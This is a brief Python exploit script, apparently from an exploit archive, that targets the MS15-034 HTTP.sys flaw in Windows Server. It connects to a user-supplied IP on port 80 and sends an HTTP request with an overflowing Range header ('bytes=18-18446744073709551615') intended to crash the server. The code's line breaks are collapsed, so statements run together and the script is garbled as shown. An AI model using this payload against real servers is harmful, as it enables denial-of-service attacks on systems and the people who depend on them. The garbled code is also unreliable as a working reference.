MS Windows (HTTP.sys) HTTP Request Parsing DoS (MS15-034)

#Tested on Win Srv 2012R2.
import socket,sys

if len(sys.argv)<=1: sys.exit('Give me an IP') Host = sys.argv[1] def SendPayload(Payload, Host): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((Host, 80)) s.send(Payload) s.recv(1024) s.close() #Make sure iisstart.htm exist. Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n" Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n" SendPayload(Init, Host) SendPayload(Payload, Host)